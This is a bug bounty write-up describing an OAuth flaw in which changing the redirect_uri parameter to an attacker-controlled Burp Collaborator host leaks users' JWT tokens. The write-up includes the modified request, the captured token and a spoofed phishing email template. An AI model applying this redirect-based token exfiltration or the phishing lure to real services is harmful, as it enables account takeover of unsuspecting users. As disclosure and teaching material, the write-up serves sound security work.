During a bug bounty engagement, I discovered a critical OAuth implementation flaw that allowed me to steal user JWT authentication tokens simply by manipulating the redirect_uri
parameter. What started as a routine test of an OAuth flow turned into a complete account takeover vulnerability affecting any authenticated user who clicked a malicious link.
I Follow recon steps from BountyBuddy [BountyBuddy has advanced recon checklist] and when i complete recon i follow steps to find open-redirect vulnerability which is also given in BountyBuddy [https://recon.vulninsights.codes]
The target application consisted of two main domains:
The chatbot on app.domain.com
had a "Support Ticket" button that triggered an OAuth flow to authenticate users on the support portal.
Step 1: Intercepting the OAuth Flow
When I clicked the “Support Ticket” link, I noticed an OAuth redirect being initiated. I intercepted this request using Burp Suite’s Proxy:
GET /account/freshworks/jwt/customer?
response_type=id_token&
client_id=3128979333002483118&
scope=openid%20email%20profile&
state=fwst_b0c44dcc410cb7fb50b19893d&
redirect_uri=https://support.domain.com/callback
Step 2: Testing redirect_uri Parameter
The redirect_uri
parameter immediately caught my attention. I decided to test if it was properly validated by changing it to https://google.com
:
redirect_uri=https://google.com
The result? The application showed a “Login Successful!” page with a redirect button that sent me to Google. This confirmed the vulnerability existed, but I needed to understand its true impact.
Press enter or click to view image in full size
after Clicking that Go to Support Portal.
Press enter or click to view image in full size
Step 3: Setting Up Burp Collaborator
To test if I could capture sensitive data, I replaced the redirect URI with my Burp Collaborator server:
redirect_uri=https://1aciyh2llknkrci6hdujaj5twznndb2.oastify.com
Step 4: The Critical Discovery
After forwarding the modified request, something shocking appeared in my Burp Collaborator client — DNS and HTTP interactions showing the JWT token being leaked!
Press enter or click to view image in full size
The Collaborator captured:
GET /?id_token=eyJzdG1iOiJ5UzI1NiI5...eyJ5dmMuY29t&
client_id=3128979333002483118&
state=fwst_b0c44dcc410cb7fb50b19893d
The complete JWT authentication token was being sent to my attacker-controlled server as a URL parameter!
This vulnerability only works when the victim is already authenticated on app.domain.com
. This is actually what makes it dangerous:
The application fails at multiple security levels:
From: [email protected] (spoofed)
Subject: Urgent: Your Support Ticket Requires Attention
Dear User,Your recent support ticket needs immediate verification.
Click here to review: [malicious OAuth URL]Best regards,
Support Team
When authenticated users click this link, their JWT tokens are instantly captured.
Attacker creates a legitimate-looking support announcement:
What began as a simple open redirect test evolved into a critical account takeover vulnerability. By leveraging Burp Collaborator, I demonstrated that the flaw wasn’t just about redirecting users — it was about stealing their complete authentication credentials.
This case highlights the importance of:
The vulnerability has been responsibly disclosed and patched. This writeup serves as an educational resource for security researchers and developers to understand the critical importance of proper OAuth implementation.